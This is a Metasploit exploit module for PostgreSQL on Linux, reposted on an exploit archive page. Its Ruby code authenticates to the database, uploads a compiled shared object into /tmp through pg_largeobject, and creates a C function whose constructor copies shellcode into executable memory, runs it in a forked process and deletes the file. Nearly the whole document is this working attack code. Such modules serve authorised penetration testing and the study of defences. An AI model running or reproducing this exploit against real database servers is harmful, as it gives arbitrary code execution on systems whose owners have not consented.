PostgreSQL for Linux Payload Execution



EKU-ID: 2884 CVE: OSVDB-ID:
Author: todb Published: 2012-12-14 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


###
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'msf/core/exploit/postgres'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::Postgres
 include Msf::Auxiliary::Report

 # Creates an instance of this module.
 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'PostgreSQL for Linux Payload Execution',
   'Description'    => %q{
    On some default Linux installations of PostgreSQL, the
    postgres service account may write to the /tmp directory, and
    may source UDF Shared Libraries's from there as well, allowing
    execution of arbitrary code.

    This module compiles a Linux shared object file, uploads it to
    the target host via the UPDATE pg_largeobject method of binary
    injection, and creates a UDF (user defined function) from that
    shared object. Because the payload is run as the shared object's
    constructor, it does not need to conform to specific Postgres
    API versions.
   },
   'Author'         =>
   [
    'midnitesnake', # this Metasploit module
    'egypt',        # on-the-fly compiled .so technique
    'todb'          # original windows module this is based on
   ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision$',
   'References'     =>
    [
     [ 'URL', 'http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt' ]
    ],
   'Platform'       => 'linux',
   'Payload'        =>
    {
     'Space'    => 65535,
     'DisableNops'  => true,
    },
   'Targets'        =>
    [
     [ 'Linux x86',       { 'Arch' => ARCH_X86 } ],
     [ 'Linux x86_64',    { 'Arch' => ARCH_X86_64 } ],
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Jun 05 2007'

   ))

  deregister_options('SQL', 'RETURN_ROWSET')
 end

 # Buncha stuff to make typing easier.
 def username; datastore['USERNAME']; end
 def password; datastore['PASSWORD']; end
 def database; datastore['DATABASE']; end
 def rhost; datastore['rhost']; end
 def rport; datastore['rport']; end
 def verbose; datastore['VERBOSE']; end
 def bits; datastore['BITS'];end

 def execute_command(cmd, opts)
  postgres_sys_exec(cmd)
 end

 def exploit
  version = do_login(username,password,database)
  case version
  when :noauth; print_error "Authentication failed."; return
  when :noconn; print_error "Connection failed."; return
  else
   print_status("#{rhost}:#{rport} - #{version}")
  end

  fname = "/tmp/#{Rex::Text.rand_text_alpha(8)}.so"
  tbl,fld,so,oid = postgres_upload_binary_data(payload_so(fname), fname)

  unless tbl && fld && so && oid
   print_error "Could not upload the UDF SO"
   return
  end

  print_status "Uploaded #{so} as OID #{oid} to table #{tbl}(#{fld})"
  begin
   func_name = Rex::Text.rand_text_alpha(10)
   postgres_query(
    "create or replace function pg_temp.#{func_name}()"+
    " returns void as '#{so}','#{func_name}'"+
    " language 'C' strict immutable"
   )
  rescue
  end
  postgres_logout if @postgres_conn

 end


 # Authenticate to the postgres server.
 #
 # Returns the version from #postgres_fingerprint
 def do_login(user=nil,pass=nil,database=nil)
  begin
   password = pass || postgres_password
   vprint_status("Trying #{user}:#{password}@#{rhost}:#{rport}/#{database}")
   result = postgres_fingerprint(
    :db => database,
    :username => user,
    :password => password
   )
   if result[:auth]
    report_service(
     :host => rhost,
     :port => rport,
     :name => "postgres",
     :info => result.values.first
    )
    return result[:auth]
   else
    return :noauth
   end
  rescue Rex::ConnectionError, Rex::Post::Meterpreter::RequestError
   return :noconn
  end
 end


 def payload_so(filename)
  shellcode = Rex::Text.to_hex(payload.encoded, "\\x")
  #shellcode = "\\xcc"

  c = %Q^
   int _exit(int);
   int printf(const char*, ...);
   int perror(const char*);
   void *mmap(int, int, int, int, int, int);
   void *memcpy(void *, const void *, int);
   int mprotect(void *, int, int);
   int fork();
   int unlink(const char *pathname);

   #define MAP_PRIVATE 2
   #define MAP_ANONYMOUS 32
   #define PROT_READ 1
   #define PROT_WRITE 2
   #define PROT_EXEC 4

   #define PAGESIZE 0x1000

   char shellcode[] = "#{shellcode}";

   void run_payload(void) __attribute__((constructor));

   void run_payload(void)
   {
    int (*fp)();
    fp = mmap(0, PAGESIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);

    memcpy(fp, shellcode, sizeof(shellcode));
    if (mprotect(fp, PAGESIZE, PROT_READ|PROT_WRITE|PROT_EXEC)) {
     _exit(1);
    }
    if (!fork()) {
     fp();
    }

    unlink("#{filename}");
    return;
   }

  ^

  cpu = case target_arch.first
   when ARCH_X86; Metasm::Ia32.new
   when ARCH_X86_64; Metasm::X86_64.new
   end
  payload_so = Metasm::ELF.compile_c(cpu, c, "payload.c")

  so_file = payload_so.encode_string(:lib)

  so_file
 end
end